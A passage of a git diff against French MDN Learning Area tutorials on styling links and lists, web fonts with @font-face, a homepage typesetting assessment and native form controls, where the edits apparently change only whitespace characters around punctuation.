<h1>Tommy le Chat</h1> @@ -632,7 +632,7 @@ Si vous faites une erreur, vous pouvez toujours _Réinitialiser_ avec le bouton <div class="body-wrapper" style="font-family: 'Open Sans Light',Helvetica,Arial,sans-serif;"> <h2>Zone de saisie du HTML</h2> <textarea id="code" class="html-input" style="width: 90%;height: 10em;padding: 10px;border: 1px solid #0095dd;"> - <p>Un peu de texte pour vous délecter !</p></textarea> + <p>Un peu de texte pour vous délecter !</p></textarea> <h2>Zone de saisie de la CSS</h2> <textarea id="code" class="css-input" style="width: 90%;height: 10em;padding: 10px;border: 1px solid #0095dd;">p { diff --git a/files/fr/learn/css/styling_text/styling_links/index.md b/files/fr/learn/css/styling_text/styling_links/index.md index 7a3df96337..51f4254af0 100644 --- a/files/fr/learn/css/styling_text/styling_links/index.md +++ b/files/fr/learn/css/styling_text/styling_links/index.md @@ -286,7 +286,7 @@ reset.addEventListener("click", function() { solution.addEventListener("click", function() { htmlInput.value = htmlCode; - cssInput.value = 'p {\n font-size: 1.2rem;\n font-family: sans-serif;\n line-height: 1.4;\n}\n\na {\n outline: none;\n text-decoration: none;\n padding: 2px 1px 0;\n}\n\na:link {\n color: #265301;\n}\n\na:visited {\n color: #437A16;\n}\n\na:focus {\n border-bottom: 1px solid;\n background: #BAE498;\n}\n\na:hover {\n border-bottom: 1px solid;\n background: #CDFEAA;\n}\n\na:active {\n background: #265301;\n color: #CDFEAA;\n}'; + cssInput.value = 'p {\n font-size: 1.2rem;\n font-family: sans-serif;\n line-height: 1.4;\n}\n\na {\n outline: none;\n text-decoration: none;\n padding: 2px 1px 0;\n}\n\na:link {\n color: #265301;\n}\n\na:visited {\n color: #437A16;\n}\n\na:focus {\n border-bottom: 1px solid;\n background: #BAE498;\n}\n\na:hover {\n border-bottom: 1px solid;\n background: #CDFEAA;\n}\n\na:active {\n background: #265301;\n color: #CDFEAA;\n}'; drawOutput(); }); diff --git a/files/fr/learn/css/styling_text/styling_lists/index.md b/files/fr/learn/css/styling_text/styling_lists/index.md index 73a34ac54f..ab9dece0d8 100644 --- a/files/fr/learn/css/styling_text/styling_lists/index.md +++ b/files/fr/learn/css/styling_text/styling_lists/index.md @@ -362,7 +362,7 @@ reset.addEventListener("click", function() { solution.addEventListener("click", function() { htmlInput.value = htmlCode; - cssInput.value = 'ul {\n list-style-type: square;\n}\n\nul li, ol li {\n line-height: 1.5;\n}\n\nol {\n list-style-type: lower-alpha\n}'; + cssInput.value = 'ul {\n list-style-type: square;\n}\n\nul li, ol li {\n line-height: 1.5;\n}\n\nol {\n list-style-type: lower-alpha\n}'; drawOutput(); }); diff --git a/files/fr/learn/css/styling_text/typesetting_a_homepage/index.md b/files/fr/learn/css/styling_text/typesetting_a_homepage/index.md index fa70e80c22..8bea87956b 100644 --- a/files/fr/learn/css/styling_text/typesetting_a_homepage/index.md +++ b/files/fr/learn/css/styling_text/typesetting_a_homepage/index.md @@ -15,7 +15,7 @@ translation_of: Learn/CSS/Styling_text/Typesetting_a_homepage --- {{LearnSidebar}}{{PreviousMenu("Learn/CSS/Styling_text/Web_fonts", "Learn/CSS/Styling_text")}} -Dans cette évaluation, nous testerons votre compréhension de toutes les techniques pour la composition de textes à l'écran présentées au cours de ce module : elle consiste à créer la page d'accueil du site d'une école communale. Vous ne devriez avoir que du plaisir tout au long de ce parcours. +Dans cette évaluation, nous testerons votre compréhension de toutes les techniques pour la composition de textes à l'écran présentées au cours de ce module : elle consiste à créer la page d'accueil du site d'une école communale. Vous ne devriez avoir que du plaisir tout au long de ce parcours. <table class="standard-table"> <tbody> @@ -38,7 +38,7 @@ Dans cette évaluation, nous testerons votre compréhension de toutes les techni ## Point de départ -Pour débuter cette évaluation, vous devez : +Pour débuter cette évaluation, vous devez : - récupérer les fichiers [HTML](https://github.com/mdn/learning-area/blob/master/css/styling-text/typesetting-a-homepage-start/index.html) et [CSS](https://github.com/mdn/learning-area/blob/master/css/styling-text/typesetting-a-homepage-start/style.css) de l'exercice ainsi que [le lien externe sur l'icône](https://github.com/mdn/learning-area/blob/master/css/styling-text/typesetting-a-homepage-start/external-link-52.png). - en faire une copie sur votre ordinateur. @@ -47,15 +47,15 @@ Pour débuter cette évaluation, vous devez : ## Énoncé de l'exercice -Nous mettons à votre disposition un HTML pour la page d'accueil du site internet d'un collège de communauté imaginaire, plus certains éléments de la CSS composant la page sur deux colonnes et fournissant d'autres rudiments de composition. Vous devez écrire des compléments à la CSS sous le commentaire au bas du fichier de façon à pouvoir marquer aisément vos ajouts. Ne vous tracassez pas si certains sélecteurs sont répétés : nous laisserons ce point de côté dans cet exemeple. +Nous mettons à votre disposition un HTML pour la page d'accueil du site internet d'un collège de communauté imaginaire, plus certains éléments de la CSS composant la page sur deux colonnes et fournissant d'autres rudiments de composition. Vous devez écrire des compléments à la CSS sous le commentaire au bas du fichier de façon à pouvoir marquer aisément vos ajouts. Ne vous tracassez pas si certains sélecteurs sont répétés : nous laisserons ce point de côté dans cet exemeple. -Fontes : +Fontes : -- Primo, téléchargez quelques polices gratuites. Comme il s'agit d'un collège, les polices choisies doivent donner à la page une impression de sérieux, de formalisme et de confiance — une police sérif ample pour le corps du texte général, associée une police sans sérif ou bloc sérif pour les en-têtes serait pas mal. -- Ensuite, utilisez le service ad-hoc pour créer le « bulletproof `@font-face` code » pour ces deux fontes. +- Primo, téléchargez quelques polices gratuites. Comme il s'agit d'un collège, les polices choisies doivent donner à la page une impression de sérieux, de formalisme et de confiance — une police sérif ample pour le corps du texte général, associée une police sans sérif ou bloc sérif pour les en-têtes serait pas mal. +- Ensuite, utilisez le service ad-hoc pour créer le « bulletproof `@font-face` code » pour ces deux fontes. - Appliquez la police pour le corps à toute la page et celle pour les titres aux en‑têtes. -Style général du texte : +Style général du texte : - Donnez à la page une propriété `font-size` de `10px` sur tout le site. - Donnez aux titres et autres types d'éléments des tailles de polices appropriées définie avec une unité relative adéquate. @@ -65,7 +65,7 @@ Style général du texte : - Donnez au corps du texte une valeur de propriété `letter-spacing` et `word-spacing` appropriée. - Donnez au premier paragraphe après chaque titre dans `<section>` une légère indentation, disons 20px. -Liens : +Liens : - Donnez aux liens, visités, ciblés et survolés des couleurs en accord avec celles des barres horizontales en haut et en bas de la page. - Faites en sorte que les liens soient soulignés par défaut, mais que le soulignement disparaisse lorsqu'ils sont ciblés ou survolés. @@ -73,12 +73,12 @@ Liens : - Donnez à l'état actif un style sensiblement différent pour qu'il se démarque bien, mais faites en sorte qu'il s'intègre à la conception globale de la page. - Faites en sorte que l'icône de lien externe soit insérée à côté des liens externes. -Listes : +Listes : -- Assurez-vous que l'espacement des listes et éléments de liste s'accorde bien avec le style d'ensemble de la page. Chaque élément de liste doit avoir la même valeur de propriété `line-height` qu'une ligne de paragraphe et chaque liste doit avoir le même espacement en haut et en bas que celui entre les paragraphes. +- Assurez-vous que l'espacement des listes et éléments de liste s'accorde bien avec le style d'ensemble de la page. Chaque élément de liste doit avoir la même valeur de propriété `line-height` qu'une ligne de paragraphe et chaque liste doit avoir le même espacement en haut et en bas que celui entre les paragraphes. - Mettez une belle puce, appropriée à la conception de la page, devant les éléments de la liste. À vous de décider si vous choisissez une image personnalisée ou autre chose. -Menu de navigation : +Menu de navigation : - Donnez à votre menu de navigation un style tel que son aspect soit en accord avec l'apparence et la convivialité de la page. @@ -89,13 +89,13 @@ Menu de navigation : ## Exemple -La capture d'écran ci-après montre un exemple possible du design terminé : +La capture d'écran ci-après montre un exemple possible du design terminé :  ## Évaluation -Si vous faites cet exercice dans le cadre d'un cours organisé, vous devez pouvoir donner votre travail à votre professeur pour notation. Si vous faites de l'auto-formation, vous pouvez obtenir le guide de notation très facilement en le demandant sur [le fil de discussion à propos de cet exercice](https://discourse.mozilla.org/t/fundamental-css-comprehension-assessment/24682) ou par l'intermédiaire du canal IRC [#mdn](irc://irc.mozilla.org/mdn) sur [Mozilla IRC](https://wiki.mozilla.org/IRC). Faites l'exercice d'abors, il n'y rien à gagner en trichant ! +Si vous faites cet exercice dans le cadre d'un cours organisé, vous devez pouvoir donner votre travail à votre professeur pour notation. Si vous faites de l'auto-formation, vous pouvez obtenir le guide de notation très facilement en le demandant sur [le fil de discussion à propos de cet exercice](https://discourse.mozilla.org/t/fundamental-css-comprehension-assessment/24682) ou par l'intermédiaire du canal IRC [#mdn](irc://irc.mozilla.org/mdn) sur [Mozilla IRC](https://wiki.mozilla.org/IRC). Faites l'exercice d'abors, il n'y rien à gagner en trichant ! {{PreviousMenu("Learn/CSS/Styling_text/Web_fonts", "Learn/CSS/Styling_text")}} diff --git a/files/fr/learn/css/styling_text/web_fonts/index.md b/files/fr/learn/css/styling_text/web_fonts/index.md index 3374ac8986..70c4d1f26b 100644 --- a/files/fr/learn/css/styling_text/web_fonts/index.md +++ b/files/fr/learn/css/styling_text/web_fonts/index.md @@ -46,7 +46,7 @@ Ce système fonctionne bien, mais généralement, le choix des développeurs Web Mais il y a autre chose qui fonctionne très bien, depuis la version 6 d'IE. La fonctionnalité CSS des polices Web permet de définir les fichiers de polices à télécharger avec le site Web au fur et à mesure de sa consultation ; autrement dit, tout navigateur prenant en charge les polices Web aura exactement la police précisée à sa disposition. Incroyable ! La syntaxe requise ressemble à ce qui suit. -Primo, un bloc {{cssxref("@font-face")}} est placé au début de la CSS ; il précise le ou les fichiers de fontes à télécharger : +Primo, un bloc {{cssxref("@font-face")}} est placé au début de la CSS ; il précise le ou les fichiers de fontes à télécharger : ```css @font-face { @@ -55,7 +55,7 @@ Primo, un bloc {{cssxref("@font-face")}} est placé au début de la CSS ; il pr } ``` -Sous cette déclaration, vous pouvez utiliser le nom de la famille de polices précisé dans @font-face pour appliquer la police personnalisée où vous le voulez, normalement : +Sous cette déclaration, vous pouvez utiliser le nom de la famille de polices précisé dans @font-face pour appliquer la police personnalisée où vous le voulez, normalement : ```css html { @@ -65,7 +65,7 @@ html { La syntaxe peut devenir un peu plus complexe que cela, nous reviendrons sur le sujet plus bas. -Deux points important sont à garder présents à l'esprit à ce propos : +Deux points important sont à garder présents à l'esprit à ce propos : L'utilisation des polices n'est généralement pas gratuite. Vous devez payer pour les utiliser et/ou respecter d'autres conditions de licence telles que citer le créateur de la police dans le code (ou sur le site). Ne vous appropriez pas les polices et ne les utilisez pas sans donner le crédit voulu. @@ -74,9 +74,9 @@ L'utilisation des polices n'est généralement pas gratuite. Vous devez payer po > **Note :** La technique des polices Web est prise en charge dans Internet Explorer depuis sa version 4 ! -## Apprentissage actif : un exemple de fonte web +## Apprentissage actif : un exemple de fonte web -En gardant en tête ce qui précède, construisons un exemple de police web de base à partir des premiers principes. Il est difficile de le montrer à l'aide d'un exemple direct intégré : nous aimerions donc que vous suiviez les étapes détaillées dans les paragraphes ci‑après afin d'avoir une idée du processus. +En gardant en tête ce qui précède, construisons un exemple de police web de base à partir des premiers principes. Il est difficile de le montrer à l'aide d'un exemple direct intégré : nous aimerions donc que vous suiviez les étapes détaillées dans les paragraphes ci‑après afin d'avoir une idée du processus. Utilisez les fichiers [web-font-start.html](https://github.com/mdn/learning-area/blob/master/css/styling-text/web-fonts/web-font-start.html) et [web-font-start.css](https://github.com/mdn/learning-area/blob/master/css/styling-text/web-fonts/web-font-start.css) comme point de départ pour ajouter votre code (voir l'[exemple en direct](http://mdn.github.io/learning-area/css/styling-text/web-fonts/web-font-start.html) aussi.) Faites une copie de ces fichiers dans un nouveau répertoire sur votre ordinateur. Dans le fichier `web-font-start.css`, vous trouverez un CSS minimal pour traiter la mise en page et la composition de base de l'exemple. @@ -84,17 +84,17 @@ Utilisez les fichiers [web-font-start.html](https://github.com/mdn/learning-area -Dans cet exemple, nous utilisons deux polices web, une pour les en-têtes et une pour le corps du texte. Pour commencer, nous devons trouver les fichiers de ces polices. Les fontes des polices sont stockées en différents formats de fichiers. Il y a généralement trois types de sites où obtenir des fontes : +Dans cet exemple, nous utilisons deux polices web, une pour les en-têtes et une pour le corps du texte. Pour commencer, nous devons trouver les fichiers de ces polices. Les fontes des polices sont stockées en différents formats de fichiers. Il y a généralement trois types de sites où obtenir des fontes : -- un distributeur de fontes gratuites : c'est un site de téléchargement de polices gratuites (la licence peut exiger certaines conditions, comme citer le créateur de la fonte). C'est le cas de [Font Squirrel](https://www.fontsquirrel.com/), [dafont](http://www.dafont.com/) et [Everything Fonts](https://everythingfonts.com/). -- un distributeur de fontes payantes : c'est un site qui met à disposition des fontes contre paiement, comme [fonts.com](http://www.fonts.com/) ou [myfonts.com](http://www.myfonts.com/). Vous pouvez aussi acheter directement auprès du fondeur, par exemple [Linotype](https://www.linotype.com/), [Monotype](http://www.monotype.com) ou [Exljbris](http://www.exljbris.com/). -- un service de fontes en ligne : c'est un site qui stocke et téléverse les polices à votre intention, facilitant ainsi l'ensemble du processus. Voir la section {{anch("Utiliser un service de polices en ligne")}} pour plus de détails. +- un distributeur de fontes gratuites : c'est un site de téléchargement de polices gratuites (la licence peut exiger certaines conditions, comme citer le créateur de la fonte). C'est le cas de [Font Squirrel](https://www.fontsquirrel.com/), [dafont](http://www.dafont.com/) et [Everything Fonts](https://everythingfonts.com/). +- un distributeur de fontes payantes : c'est un site qui met à disposition des fontes contre paiement, comme [fonts.com](http://www.fonts.com/) ou [myfonts.com](http://www.myfonts.com/). Vous pouvez aussi acheter directement auprès du fondeur, par exemple [Linotype](https://www.linotype.com/), [Monotype](http://www.monotype.com) ou [Exljbris](http://www.exljbris.com/). +- un service de fontes en ligne : c'est un site qui stocke et téléverse les polices à votre intention, facilitant ainsi l'ensemble du processus. Voir la section {{anch("Utiliser un service de polices en ligne")}} pour plus de détails. Cherchons des polices de caractères ! Allez dans [Font Squirrel](https://www.fontsquirrel.com/) et choisissez deux polices — une police adaptée aux en-têtes (peut-être une belle police d'affichage de blocs avec sérifs) et une police un peu moins criarde et plus lisible pour les paragraphes. Après avoir trouvé chaque police, appuyez sur le bouton de téléchargement et enregistrez le fichier dans le même répertoire que les fichiers HTML et CSS précéemment enregistrés. Peu importe qu'il s'agisse de TTF (True Type Fonts) ou OTF (Open Type Fonts). Dans chaque cas, décompressez le paquet de la fonte (les fontes Web sont généralement distribuées dans des fichiers ZIP contenant les fichiers de police et l'information de licence). Vous pouvez trouver plusieurs fichiers de polices dans le paquet — certaines fontes sont distribuées sous forme de familles avec plusieurs variantes disponibles, par exemple fine, moyenne, grasse, italique, italique fine, etc. Pour cet exemple, ne vous interessez qu'à un seul fichier pour chacun des deux cas. -> **Note :** Dans la partie « Find fonts » dans la colonne de droite, vous pouvez cliquer sur les diverses marques et classification pour filtrer les chois à afficher. +> **Note :** Dans la partie « Find fonts » dans la colonne de droite, vous pouvez cliquer sur les diverses marques et classification pour filtrer les chois à afficher. ### Créer le code requis @@ -104,7 +104,7 @@ Maintenant, créez le code requis (et les formats de police). Pour chaque police 2. Allez sur le [Webfont Generator](https://www.fontsquirrel.com/tools/webfont-generator) de Fontsquirrel. 3. Téléversez les deux fichiers de fontes avec le bouton _Upload Fonts_. 4. Cochez la case nommée « Yes, the fonts I'm uploading are legally eligible for web embedding » (_Oui, les fontes téléversées sont légalement éligibles à une intégration web_). -5. Cliquez sur « *Download your kit* » (_Télécharger le kit_) . +5. Cliquez sur « *Download your kit* » (_Télécharger le kit_) . Après que le générateur a terminé le traitement, vous obtenez un fichier ZIP à télécharger — enregistrez‑le dans le même répertoire que les fichiers HTML et CSS. @@ -112,16 +112,16 @@ Après que le générateur a terminé le traitement, vous obtenez un fichier ZIP Maintenant, faites l'extraction de l'ensemble des polices web crées. Dans le répertoire d'extraction, trois éléments utiles : -- Plusieurs versions de chaque police : (par ex., `.ttf`, `.woff`, `.woff2`, etc. ; les polices exactement fournies sont mises à jour au fur et à mesure des modifications des exigences de prise en charge des navigateurs). Comme mentionné ci‑dessus, plusieurs polices sont nécessaires pour une prise en charge croisée entre navigateurs — c'est le moyen choisi par Fontsquirrel pour s'assurer que vous avez bien ce qui est nécessaire. +- Plusieurs versions de chaque police : (par ex., `.ttf`, `.woff`, `.woff2`, etc. ; les polices exactement fournies sont mises à jour au fur et à mesure des modifications des exigences de prise en charge des navigateurs). Comme mentionné ci‑dessus, plusieurs polices sont nécessaires pour une prise en charge croisée entre navigateurs — c'est le moyen choisi par Fontsquirrel pour s'assurer que vous avez bien ce qui est nécessaire. - Un fichier HTML de démo pour chaque police — chargez‑les dans votre navigateur pour voir ce à quoi elles ressemblent dans divers contextes d'emploi. - Un fichier `stylesheet.css`, qui contient le code @font-face dont vous avez besoin. -Pour mettre en œuvre ces polices dans la démo, suivez ces étapes : +Pour mettre en œuvre ces polices dans la démo, suivez ces étapes : 1. Renommez le répertoire d'extraction avec quelque chose de simple, comme `fonts`. -2. Ouvrez le fichier `stylesheet.css` et copiez y les deux blocs `@font-face` contenus dans le fichier `web-font-start.css` — il faut les mettre tout en haut, avant tout élement du CSS, car les polices doivent être importées avant de pouvoir les utiliser sur votre site. -3. Chaque fonction `url()` pointe sur un fichier de police à importer dans la CSS — assurez‑vous que les chemins vers les fichiers soient corrects, donc ajoutez `fonts/` au début de chaque chemin (si nécessaire). -4. Maintenant, vous pouvez vous servir de ces polices dans vos piles de fontes, tout à fait comme les polices système ou une police « web safe ». Par exemple : +2. Ouvrez le fichier `stylesheet.css` et copiez y les deux blocs `@font-face` contenus dans le fichier `web-font-start.css` — il faut les mettre tout en haut, avant tout élement du CSS, car les polices doivent être importées avant de pouvoir les utiliser sur votre site. +3. Chaque fonction `url()` pointe sur un fichier de police à importer dans la CSS — assurez‑vous que les chemins vers les fichiers soient corrects, donc ajoutez `fonts/` au début de chaque chemin (si nécessaire). +4. Maintenant, vous pouvez vous servir de ces polices dans vos piles de fontes, tout à fait comme les polices système ou une police « web safe ». Par exemple : ```css font-family: 'zantrokeregular', serif; @@ -135,7 +135,7 @@ Vous devriez obtenir une page de démonstration avec les belles polices impléme ## Utiliser un service de polices en ligne -Les services de polices en ligne stockent et servent généralement des polices pour vous afin que vous n'ayez pas à vous soucier d'écrire le code `@font-face`, et en général, il suffit d'insérer une simple ligne ou deux de code dans votre site pour que tout fonctionne. Les exemples incluent [Typekit](https://typekit.com/) and [Cloud.typography](http://www.typography.com/cloud/welcome/). La plupart de ces services sont fondés sur l'abonnement, à l'exception notable de [Google Fonts](https://www.google.com/fonts), un service gratuit utile, en particulier pour les tests rapides et la rédaction de démos. +Les services de polices en ligne stockent et servent généralement des polices pour vous afin que vous n'ayez pas à vous soucier d'écrire le code `@font-face`, et en général, il suffit d'insérer une simple ligne ou deux de code dans votre site pour que tout fonctionne. Les exemples incluent [Typekit](https://typekit.com/) and [Cloud.typography](http://www.typography.com/cloud/welcome/). La plupart de ces services sont fondés sur l'abonnement, à l'exception notable de [Google Fonts](https://www.google.com/fonts), un service gratuit utile, en particulier pour les tests rapides et la rédaction de démos. @@ -144,7 +144,7 @@ La plupart de ces services sont faciles à utiliser, donc nous n'en parlerons pa 1. Allez sur [Google Fonts](https://www.google.com/fonts). 2. Utilisez les filtres sur la droite pour afficher les types de polices à choisir et retenez une paire de fontes qui vous plaisent. 3. Pour sélectionner une famille de fontes, pressez le bouton ⊕ sur le côté. -4. Après avoir choisi les familles de fontes, pressez la barre avec _\[Nombre] Families Selected_ en bas de la page. +4. Après avoir choisi les familles de fontes, pressez la barre avec _\[Nombre] Families Selected_ en bas de la page. 5. Dans l'écran résultant, copiez d'abord la ligne de code HTML affichée et collez‑la dans l'en-tête de votre fichier HTML. Mettez-la au-dessus de l'élément {{htmlelement("link")}} existant, de sorte que la police soit importée avant que le navigateur essaye de l'utiliser dans la CSS. 6. Copiez ensuite les déclarations CSS listées dans la CSS comme il convient pour appliquer la fonte personnalisée à votre HTML. @@ -152,7 +152,7 @@ La plupart de ces services sont faciles à utiliser, donc nous n'en parlerons pa ## @font-face plus en détail -Examinons la syntaxe générée par fontsquirrel pour `@font-face`. C'est un bloc de ce type : +Examinons la syntaxe générée par fontsquirrel pour `@font-face`. C'est un bloc de ce type : ```css @font-face { @@ -168,17 +168,17 @@ Examinons la syntaxe générée par fontsquirrel pour `@font-face`. C'est un bl } ``` -Elle est désignée sous le vocable « bulletproof @font-face syntax » (_syntaxe @font-face à puces garanties_), d'après un post de Paul Irish lors des débuts des succès de `@font-face` ([Bulletproof @font-face Syntax](http://www.paulirish.com/2009/bulletproof-font-face-implementation-syntax/)). Voyons les actions : +Elle est désignée sous le vocable « bulletproof @font-face syntax » (_syntaxe @font-face à puces garanties_), d'après un post de Paul Irish lors des débuts des succès de `@font-face` ([Bulletproof @font-face Syntax](http://www.paulirish.com/2009/bulletproof-font-face-implementation-syntax/)). Voyons les actions : -- `font-family` : cette ligne précise la référence à la police. Vous pouvez mettre cette assertion comme bon vous semble, pour autant que ce soit utilisé de manière cohérent dans la CSS. +- `font-family` : cette ligne précise la référence à la police. Vous pouvez mettre cette assertion comme bon vous semble, pour autant que ce soit utilisé de manière cohérent dans la CSS. - `src` : ces lignes indiquent les chemins vers les fichiers de fontes à importer dans la CSS (la partie `url`) et le format de chaque fichier de fonte (la partie `format`). Cette dernière partie est dans chaque cas optionnelle, mais il est utile de la déclarer car elle permet aux navigateurs de trouver la police à utiliser plus rapidement. Plusieurs déclarations peuvent être mises dans la liste, séparées par des virgules — le navigateur cherchera parmi celles-ci et utilisera la première trouvée qu'il comprend — toutefois il est préférable de mettre en tête les formats nouveaux comme WOFF2 et le plus anciens comme TTF en fin de liste. Les fontes EOT font exception — elles seront placées en tête pour corriger une paire de bogues dans les anciennes versions de IE, car IE essayera d'utiliser la première trouvée même s'il est en fait incapable de l'utiliser. -- {{cssxref("font-weight")}}/{{cssxref("font-style")}} : ces lignes définissent la graisse de la police, si elle est italique ou pas. Si vous importez plusieurs graisses d'une même police, vous pouvez indiquer quelles sont ses caractéristiques et utiliser diverses valeurs de {{cssxref("font-weight")}}/{{cssxref("font-style")}} pour faire votre choix au lieu d'appeler de noms différents les membres de la même famille. [@font-face tip: define font-weight and font-style to keep your CSS simple](http://www.456bereastreet.com/archive/201012/font-face_tip_define_font-weight_and_font-style_to_keep_your_css_simple/) (_en anglais — Astuces pour @font-face : définir la graisse et le style des fontes pour avoir des CSS simples_) par Roger Johansson montre que faire plus en détail. +- {{cssxref("font-weight")}}/{{cssxref("font-style")}} : ces lignes définissent la graisse de la police, si elle est italique ou pas. Si vous importez plusieurs graisses d'une même police, vous pouvez indiquer quelles sont ses caractéristiques et utiliser diverses valeurs de {{cssxref("font-weight")}}/{{cssxref("font-style")}} pour faire votre choix au lieu d'appeler de noms différents les membres de la même famille. [@font-face tip: define font-weight and font-style to keep your CSS simple](http://www.456bereastreet.com/archive/201012/font-face_tip_define_font-weight_and_font-style_to_keep_your_css_simple/) (_en anglais — Astuces pour @font-face : définir la graisse et le style des fontes pour avoir des CSS simples_) par Roger Johansson montre que faire plus en détail. -> **Note :** Vous pouvez aussi définir des valeurs particulières de {{cssxref("font-variant")}} et {{cssxref("font-stretch")}} pour vos polices. Dans les navigateurs les plus récents, vous pouvez également indiquer une valeur pour {{cssxref("unicode-range")}} : c'est la plage des codes caractères dont l'utilisation est prévue — dans les navigateurs prenant en charge cette propriété, seuls les caractères indiqués seront téléchargés, ce qui réduit les volumes téléchargés non nécessaires. [Creating Custom Font Stacks with Unicode-Range](https://24ways.org/2011/creating-custom-font-stacks-with-unicode-range/) (_Création de piles de fontes personnalisées en définissant des plages unicode_) de Drew McLellan donne quelques indications utiles pour l'utilisation de cette propriété. +> **Note :** Vous pouvez aussi définir des valeurs particulières de {{cssxref("font-variant")}} et {{cssxref("font-stretch")}} pour vos polices. Dans les navigateurs les plus récents, vous pouvez également indiquer une valeur pour {{cssxref("unicode-range")}} : c'est la plage des codes caractères dont l'utilisation est prévue — dans les navigateurs prenant en charge cette propriété, seuls les caractères indiqués seront téléchargés, ce qui réduit les volumes téléchargés non nécessaires. [Creating Custom Font Stacks with Unicode-Range](https://24ways.org/2011/creating-custom-font-stacks-with-unicode-range/) (_Création de piles de fontes personnalisées en définissant des plages unicode_) de Drew McLellan donne quelques indications utiles pour l'utilisation de cette propriété. ## Résumé -Maintenant que vous avez travaillé nos articles sur les principes fondamentaux pour composer du texte, il est temps de tester votre compréhension de la chose avec notre évaluation pour le module : composition d'une page d'accueil d'une école communale. +Maintenant que vous avez travaillé nos articles sur les principes fondamentaux pour composer du texte, il est temps de tester votre compréhension de la chose avec notre évaluation pour le module : composition d'une page d'accueil d'une école communale. {{PreviousMenuNext("Learn/CSS/Styling_text/Styling_links", "Learn/CSS/Styling_text/Typesetting_a_homepage", "Learn/CSS/Styling_text")}} diff --git a/files/fr/learn/forms/basic_native_form_controls/index.md b/files/fr/learn/forms/basic_native_form_controls/index.md index 2d74518150..26472bcc80 100644 --- a/files/fr/learn/forms/basic_native_form_controls/index.md +++ b/files/fr/learn/forms/basic_native_form_controls/index.md @@ -20,7 +20,7 @@ Nous examinerons maintenant en détail les fonctionnalités des divers widgets p <table class="standard-table"> <tbody> <tr> - <th scope="row">Prérequis :</th> + <th scope="row">Prérequis :</th> <td> Notions concernant les ordinateurs et les <a href="/fr/docs/Apprendre/HTML/Introduction_à_HTML" @@ -29,7 +29,7 @@ Nous examinerons maintenant en détail les fonctionnalités des divers widgets p </td> </tr> <tr> - <th scope="row">Objectif :</th> + <th scope="row">Objectif :</th> <td> Comprendre quels sont les types de widgets de forme native disponibles dans les navigateurs pour collecter des données et comment les mettre en @@ -39,20 +39,20 @@ Nous examinerons maintenant en détail les fonctionnalités des divers widgets p </tbody> </table> -Ici, nous nous attarderons sur les widgets de formulaires intégrés aux navigateurs, mais comme les formulaires HTML restent très circonscrits et que la qualité des implémentations peut être très différente d'un navigateur à l'autre, les développeurs web construisent parfois leurs propres widgets de formulaires — voir [Comment construire des widgets de formulaires personnalisés](/fr/docs/Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés) plus loin dans ce même module pour plus d'idées à ce propos. +Ici, nous nous attarderons sur les widgets de formulaires intégrés aux navigateurs, mais comme les formulaires HTML restent très circonscrits et que la qualité des implémentations peut être très différente d'un navigateur à l'autre, les développeurs web construisent parfois leurs propres widgets de formulaires — voir [Comment construire des widgets de formulaires personnalisés](/fr/docs/Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés) plus loin dans ce même module pour plus d'idées à ce propos. -> **Note :** La plupart des fonctionnalités discutées dans cet article sont abondamment explicitées dans les navigateurs ; nous soulignerons les exceptions à ce sujet. Si vous voulez plus de précisions, consultez les [références aux éléments de formulaires HTML](/fr/docs/Web/HTML/Element#Forms), et en particulier nos références détaillées aux [types \<input>](/fr/docs/Web/HTML/Element/input). +> **Note :** La plupart des fonctionnalités discutées dans cet article sont abondamment explicitées dans les navigateurs ; nous soulignerons les exceptions à ce sujet. Si vous voulez plus de précisions, consultez les [références aux éléments de formulaires HTML](/fr/docs/Web/HTML/Element#Forms), et en particulier nos références détaillées aux [types \<input>](/fr/docs/Web/HTML/Element/input). ## Attributs communs Beaucoup d'éléments utilisés pour définir les widgets de formulaire ont leurs propres attributs. Cependant, il y a un jeu d'attributs communs à tous les éléments de formulaire. Il vous permettent un certain contrôle sur ces widgets. Voici une liste de ces attributs communs : -| Nom de l'attribut | Valeur par défaut | Description | +| Nom de l'attribut | Valeur par défaut | Description | | ----------------- | ----------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | `autofocus` | (_false_) | Cet attribut, booléen, vous permet de spécifier que cet élément doit avoir automatiquement le focus au chargement de la page, sauf si l'utilisateur prend la main, en faisant, par exemple, une saisie dans un autre contrôle. Seul un élément associé à un formulaire peut avoir cet attribut activé. | -| `disabled` | (_false_) | Cet attribut est un booléen. Il indique que l'utilisateur ne peut pas avoir d'action sur cet élément. S'il n'est pas précisé, l'élément hérite son comportement de l'élément contenant, comme, {{HTMLElement("fieldset")}} ; si le conteneur n'a pas d'attribut `disabled` mis, l'élément est activé. | +| `disabled` | (_false_) | Cet attribut est un booléen. Il indique que l'utilisateur ne peut pas avoir d'action sur cet élément. S'il n'est pas précisé, l'élément hérite son comportement de l'élément contenant, comme, {{HTMLElement("fieldset")}} ; si le conteneur n'a pas d'attribut `disabled` mis, l'élément est activé. | | `form` | | L'élément <form> auquel le widget est associé. La valeur de l'attribut doit être l'attribut `id` d'un élément {{HTMLElement("form")}} dans le même document. En théorie, il vous permet de mettre un widget en dehors d'un élément {{HTMLElement("form")}}. En pratique, toutefois, il n'y a pas de navigateur qui prenne en charge cette fonctionnalité. | -| `name` | | Le nom de l'élément ; il sera soumis en même temps que les données du formulaire. | +| `name` | | Le nom de l'élément ; il sera soumis en même temps que les données du formulaire. | | `value` | | La valeur initiale de l'élément. | ## Champs de saisie de texte @@ -61,7 +61,7 @@ Les champs {{htmlelement("input")}} de saisie de texte sont les widgets de formu > **Note :** Les champs textuels dans les formulaires HTML sont des contrôles de saisie de texte brut. Cela signifie que vous ne pouvez pas les utiliser pour réaliser de la [mise en forme riche](/fr/docs/Rich-Text_Editing_in_Mozilla "/en-US/docs/Rich-Text_Editing_in_Mozilla") (gras, italique, etc.). Tous les éditeurs de textes évolués que vous rencontrez utilisent des widgets personnalisés créés avec HTML, CSS et JavaScript. -Tous les champs textuels ont des comportement en commun : +Tous les champs textuels ont des comportement en commun : - Il peuvent être définis comme {{htmlattrxref("readonly","input")}} (l'utilisateur ne peut pas modifier la valeur) voire {{htmlattrxref("disabled","input")}} (la valeur n'est pas envoyé avec le restant des données du formulaire). - Ils peuvent avoir un {{htmlattrxref("placeholder","input")}}. Ce texte apparaît dans le champs de saisie et décrit brièvement le rôle de cette boîte. @@ -70,19 +70,19 @@ Tous les champs textuels ont des comportement en commun : > **Note :** 